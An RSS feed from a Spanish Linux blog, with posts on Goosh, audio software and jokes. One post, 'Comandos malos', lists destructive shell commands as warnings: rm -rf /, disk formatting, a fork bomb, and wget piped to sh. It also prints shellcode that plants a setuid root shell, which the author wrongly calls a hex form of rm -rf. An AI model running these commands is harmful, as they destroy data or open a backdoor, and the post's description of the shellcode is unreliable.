<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Más que un blog &#187; Linux</title>
	<atom:link href="http://mesblo.wordpress.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://mesblo.wordpress.com</link>
	<description>El blog de LKO -Linux - Tecnología - Ciencia - Fotografía - Humor - Fútbol // Un blog diferente, ocurrente o elocuente... Un tonto motivo para sonreír</description>
	<lastBuildDate>Tue, 28 Feb 2012 00:01:21 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='mesblo.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Más que un blog &#187; Linux</title>
		<link>http://mesblo.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://mesblo.wordpress.com/osd.xml" title="Más que un blog" />
	<atom:link rel='hub' href='http://mesblo.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Visitanos</title>
		<link>http://mesblo.wordpress.com/2010/10/21/visitanos/</link>
		<comments>http://mesblo.wordpress.com/2010/10/21/visitanos/#comments</comments>
		<pubDate>Thu, 21 Oct 2010 07:09:04 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Yo]]></category>

		<guid isPermaLink="false">http://mesblo.wordpress.com/?p=324</guid>
		<description><![CDATA[http://www.en2palabras.com<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=324&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.en2palabras.com">http://www.en2palabras.com</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/324/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=324&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2010/10/21/visitanos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>
	</item>
		<item>
		<title>Goosh.org -&gt; La shell de Google</title>
		<link>http://mesblo.wordpress.com/2009/01/16/gooshorg-la-shell-de-google/</link>
		<comments>http://mesblo.wordpress.com/2009/01/16/gooshorg-la-shell-de-google/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 14:11:56 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Chuck Norris]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Goosh]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://mesblo.wordpress.com/?p=291</guid>
		<description><![CDATA[En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google.. Intente conseguir una verdadera shell conectándome por SSH con el user guest [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=291&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..</p>
<p><img class="alignnone" title="Goosh.org" src="http://img107.imageshack.us/img107/9704/gooshfk4.png" alt="" width="436" height="268" /></p>
<p>Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría <a href="http://www.frikipedia.es/friki/Chuck_Norris">Chuck Norris</a> (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.</p>
<p><a href="http://goosh.org">Goosh.org</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/291/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=291&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2009/01/16/gooshorg-la-shell-de-google/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img107.imageshack.us/img107/9704/gooshfk4.png" medium="image">
			<media:title type="html">Goosh.org</media:title>
		</media:content>
	</item>
		<item>
		<title>GNU/Linux vs Windows</title>
		<link>http://mesblo.wordpress.com/2008/12/28/gnulinux-vs-windows/</link>
		<comments>http://mesblo.wordpress.com/2008/12/28/gnulinux-vs-windows/#comments</comments>
		<pubDate>Sun, 28 Dec 2008 07:06:13 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux vs Windows]]></category>

		<guid isPermaLink="false">http://mesblo.wordpress.com/?p=282</guid>
		<description><![CDATA[No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro ROUND 1: ROUND 2: ROUND 3: ROUND 4: Al parecer las imagenes son de linuxadictos<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=282&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><strong>ROUND 1:</strong></p>
<p><img class="alignnone" title="Round 1" src="http://linuxadictos.com/wp-content/uploads/2008/09/chiste-011.jpg" alt="" width="456" height="1534" /></p>
<p><strong>ROUND 2:</strong></p>
<p><img class="alignnone" title="Round 2" src="http://linuxadictos.com/wp-content/uploads/2008/08/chiste-02-final.jpg" alt="" width="500" height="1354" /><strong>ROUND 3:</strong></p>
<p><img class="alignnone" title="ROUND 3" src="http://linuxadictos.com/wp-content/uploads/2008/10/final-copia.jpg" alt="" width="500" height="283" /></p>
<p><strong>ROUND 4:</strong></p>
<p><strong><img class="alignnone" title="ROUND 4" src="http://linuxadictos.com/wp-content/uploads/2008/10/chiste-05-final.jpg" alt="" width="550" height="1603" /></strong></p>
<p>Al parecer las imagenes son de <a href="http://www.linuxadictos.com">linuxadictos</a> <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/282/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=282&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/12/28/gnulinux-vs-windows/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://linuxadictos.com/wp-content/uploads/2008/09/chiste-011.jpg" medium="image">
			<media:title type="html">Round 1</media:title>
		</media:content>

		<media:content url="http://linuxadictos.com/wp-content/uploads/2008/08/chiste-02-final.jpg" medium="image">
			<media:title type="html">Round 2</media:title>
		</media:content>

		<media:content url="http://linuxadictos.com/wp-content/uploads/2008/10/final-copia.jpg" medium="image">
			<media:title type="html">ROUND 3</media:title>
		</media:content>

		<media:content url="http://linuxadictos.com/wp-content/uploads/2008/10/chiste-05-final.jpg" medium="image">
			<media:title type="html">ROUND 4</media:title>
		</media:content>
	</item>
		<item>
		<title>Comandos &#8220;malos&#8221; (GNU/Linux)</title>
		<link>http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/</link>
		<comments>http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 05:41:28 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Comandos]]></category>
		<category><![CDATA[Suicidas]]></category>
		<category><![CDATA[Tux]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=232</guid>
		<description><![CDATA[Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS. Revisándolos.. rm -rf / Bastante simple verdad, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=232&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Linux Dead" src="http://img514.imageshack.us/img514/1189/lddq5.jpg" alt="" width="459" height="331" /></p>
<p>Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD</p>
<p>Entrando al tema, navegando por ahí me tope con <a href="http://extremisimo.com/top-7-comandos-peligros-de-gnulinux/">este post</a> donde menciona 7 comandos que ponen en completo riesgo nuestro OS.</p>
<p>Revisándolos..<br />
<code><em><strong>rm -rf /</strong></em></code><br />
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema &#8220;/&#8221; de forma recursiva y sin confirmación alguna..</p>
<p>No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD</p>
<p><code>
<p style="text-align:justify;"><span style="font-weight:bold;font-style:italic;">char esp[] __attribute__ ((section(”.text”))) /* e.s.p</span><br />
<span style="font-weight:bold;font-style:italic;">release */</span><br />
<span style="font-weight:bold;font-style:italic;">= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?</span><br />
<span style="font-weight:bold;font-style:italic;">“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?</span><br />
<span style="font-weight:bold;font-style:italic;">“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?</span><br />
<span style="font-weight:bold;font-style:italic;">“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?</span><br />
<span style="font-weight:bold;font-style:italic;">“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?</span><br />
<span style="font-weight:bold;font-style:italic;">“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?</span><br />
<span style="font-weight:bold;font-style:italic;">“\x6e\x2f\x73\x68\x00\x2d\x63\x00?</span><br />
<span style="font-weight:bold;font-style:italic;">“cp -p /bin/sh /tmp/.beyond; chmod 4755</span><br />
<span style="font-weight:bold;font-style:italic;">/tmp/.beyond;”;</span></code><br />
Aparentemente el mismo comando anterior en forma hexadecimal.</p>
<p><code>
<p style="text-align:justify;"><span style="font-weight:bold;font-style:italic;">mkfs.ext3 /dev/sda</span></p>
<p></code></p>
<p>Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.</p>
<p><code>
<p style="text-align:justify;"><span style="font-weight:bold;font-style:italic;"> <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</span></p>
<p></code></p>
<p>Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.</p>
<p>No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.</p>
<p><code>
<p style="text-align:justify;"><span style="font-weight:bold;font-style:italic;">any_command &gt; /</span><span class="blsp-spelling-error" style="font-weight:bold;font-style:italic;"><span class="blsp-spelling-error">dev</span></span><span style="font-weight:bold;font-style:italic;">/</span><span class="blsp-spelling-error" style="font-weight:bold;font-style:italic;"><span class="blsp-spelling-error">sda</span></span></p>
<p></code></p>
<p>Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.</p>
<p><code>
<p style="text-align:justify;"><span class="blsp-spelling-error" style="font-weight:bold;font-style:italic;"><span class="blsp-spelling-error">wget</span></span><span style="font-weight:bold;font-style:italic;"> http://some_untrusted_source -O- | sh</span></p>
<p></code><br />
Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web &#8216;x&#8217; y posteriormente lo ejecuta..</p>
<p>El riesgo corre en que no sabemos que estamos descargando.</p>
<p><code>
<p style="text-align:justify;"><span class="blsp-spelling-error" style="font-weight:bold;font-style:italic;"><span class="blsp-spelling-error">mv </span></span><span style="font-weight:bold;font-style:italic;">/home/</span><span class="blsp-spelling-error" style="font-weight:bold;font-style:italic;"><span class="blsp-spelling-error">yourhomedirectory</span></span><span style="font-weight:bold;font-style:italic;">/* /</span><span class="blsp-spelling-error" style="font-weight:bold;font-style:italic;"><span class="blsp-spelling-error">dev</span></span><span style="font-weight:bold;font-style:italic;">/null</span></p>
<p></code></p>
<p style="text-align:justify;">Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD</p>
<p style="text-align:justify;">Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):</p>
<p><code></p>
<p style="text-align:justify;"><strong>mv /* /dev/null</strong></p>
<p style="text-align:justify;"><strong>rm -r /etc/</strong></p>
<p></code></p>
<p style="text-align:justify;">Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.</p>
<p style="text-align:justify;">En Youtube andan varios vídeos en su mayoría del famoso comando<strong> rm -rf</strong> /:</p>
<p style="text-align:justify;"><span style="text-align:center; display: block;"><a href="http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/"><img src="http://img.youtube.com/vi/tWtby4JpD1k/2.jpg" alt="" /></a></span></p>
<p style="text-align:justify;"><span style="text-align:center; display: block;"><a href="http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/"><img src="http://img.youtube.com/vi/pTTYpjnQ1WE/2.jpg" alt="" /></a></span></p>
<p style="text-align:justify;"><span style="text-align:center; display: block;"><a href="http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/"><img src="http://img.youtube.com/vi/D4fzInlyYQo/2.jpg" alt="" /></a></span></p>
<p style="text-align:justify;">Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..</p>
<p style="text-align:justify;">Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).</p>
<p style="text-align:justify;">Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align:justify;">
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/232/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/232/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/232/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=232&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img514.imageshack.us/img514/1189/lddq5.jpg" medium="image">
			<media:title type="html">Linux Dead</media:title>
		</media:content>
	</item>
		<item>
		<title>UltraMixer DJ &amp; Audacity (Editando el audio)</title>
		<link>http://mesblo.wordpress.com/2008/12/11/ultramixer-dj-audacity-editando-el-audio/</link>
		<comments>http://mesblo.wordpress.com/2008/12/11/ultramixer-dj-audacity-editando-el-audio/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 05:04:16 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[DJ Mixer]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=218</guid>
		<description><![CDATA[Era un día cualquiera y viajaba como de costumbre en uno de los populares microbúses del transporte colectivo del gran San Salvador, mientras escuchaba en la radio un remix de Zombie me llego a la mente la curiosidad de si existían programas similares al conocido VirtualDJ o Atomix para GNU/Linux. La respuesta es si. Después [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=218&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Era un día cualquiera y viajaba como de costumbre en uno de los populares microbúses del transporte colectivo del gran San Salvador, mientras escuchaba en la radio un remix de <a href="http://es.wikipedia.org/wiki/Zombie_(canci%C3%B3n)">Zombie</a> me llego a la mente la curiosidad de si existían programas similares al conocido VirtualDJ o Atomix para GNU/Linux.</p>
<p>La respuesta es si.</p>
<p>Después de buscar por unos momentos en Google llegamos al primer programa:</p>
<p>El <strong>Ultramixer</strong>, que es un programa estilo DJ para mezclar y aplicar efectos a archivos de audio.</p>
<p>Muy similar al VDJ y Atomix, entre las opciones se encuentras las comunes de todo Software de mezcla, aumentar y disminuir el pitch de la canción, tener las opciones de una tornamesa y así poder reproducir 2 pistas a la vez, también detalles como el loop entre otras cosas.</p>
<p>Lo básico para poder realizar mezclas al más puro estilo de un DJ geek.</p>
<p><a href="http://img519.imageshack.us/img519/8206/pantallazozl6.png"><img class="alignnone" title="Ultramixer Free" src="http://img519.imageshack.us/img519/8206/pantallazozl6.png" alt="" width="538" height="402" /></a></p>
<p>Sin embargo también tienen peros, empezando porque no es Software libre ni es exclusivo para linux, sin embargo este ofrece 3 opciones de registro y activación siendo una de estas la free que al menos yo no vi tan mal de no ser por un aviso que se mantiene 25 segundos en cada iniciada de la aplicación.</p>
<p>Esta programado en java por lo cual es una aplicación algo robusta, y un problema bastante grande es que solo permite mezclar en tiempo real, en otras palabras no se pueden grabar las creaciones que hacemos..</p>
<p>Este problema me lleva al siguiente programa.</p>
<p>El <strong>Audacity</strong> que es un soft también para ediciones de audio, aunque de apariencia es menos estético que el UltraMixer es bastante poderoso.</p>
<p>Entre las opciones tenemos las básicas de aumentar y disminuir el pitch, recortar trozos de las canciones y moverlas a diferentes tiempos, así como aplicarle unos cuantos efectos y a diferencia del otro este si es Software libre por lo cual esta en constante desarrollo y si permite grabar y guardar las pistas modificadas. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Entre otras opciones como la capacidad de eliminar ruidos en archivos de audio.</p>
<p><a href="http://img361.imageshack.us/img361/4738/pantallazomusestarlightny9.png"><img class="alignnone" title="Audacity" src="http://img361.imageshack.us/img361/4738/pantallazomusestarlightny9.png" alt="" width="608" height="434" /></a></p>
<p>Aparte que es fácil de usar y bastante intuitivo.</p>
<p>2 buenos programas que pueden servir a la hora de editar un archivo de audio o para simple entretenimiento en un rato de ocio puro..</p>
<p>El UltraMixer se puede descargar de la sección de Downloads en su web eligiendo por su puesto la descarga para linux:</p>
<p><a href="http://www.ultramixer.com">www.ultramixer.com</a></p>
<p>Y el Audacity se encuentra en los repositorios (al menos los de Debian) por lo cual a mi me basto hacer un:</p>
<blockquote><p>aptitude install audacity</p></blockquote>
<p> <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>PD: El Sábado es el superclasico español, espero con ansias ver esa revancha de la tamporada pasada <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/mesblo.wordpress.com/218/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/mesblo.wordpress.com/218/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/mesblo.wordpress.com/218/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/mesblo.wordpress.com/218/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/mesblo.wordpress.com/218/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/mesblo.wordpress.com/218/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/mesblo.wordpress.com/218/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/mesblo.wordpress.com/218/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=mesblo.wordpress.com&#038;blog=5922714&#038;post=218&#038;subd=mesblo&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://mesblo.wordpress.com/2008/12/11/ultramixer-dj-audacity-editando-el-audio/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">Lyoko</media:title>
		</media:content>

		<media:content url="http://img519.imageshack.us/img519/8206/pantallazozl6.png" medium="image">
			<media:title type="html">Ultramixer Free</media:title>
		</media:content>

		<media:content url="http://img361.imageshack.us/img361/4738/pantallazomusestarlightny9.png" medium="image">
			<media:title type="html">Audacity</media:title>
		</media:content>
	</item>
		<item>
		<title>[How to]Creando y aplicando parches individuales</title>
		<link>http://mesblo.wordpress.com/2008/10/13/how-tocreando-y-aplicando-parches-individuales/</link>
		<comments>http://mesblo.wordpress.com/2008/10/13/how-tocreando-y-aplicando-parches-individuales/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 18:00:19 +0000</pubDate>
		<dc:creator>Lyoko</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[diff]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[parches]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://lkoblo.100webspace.net/blog/?p=151</guid>
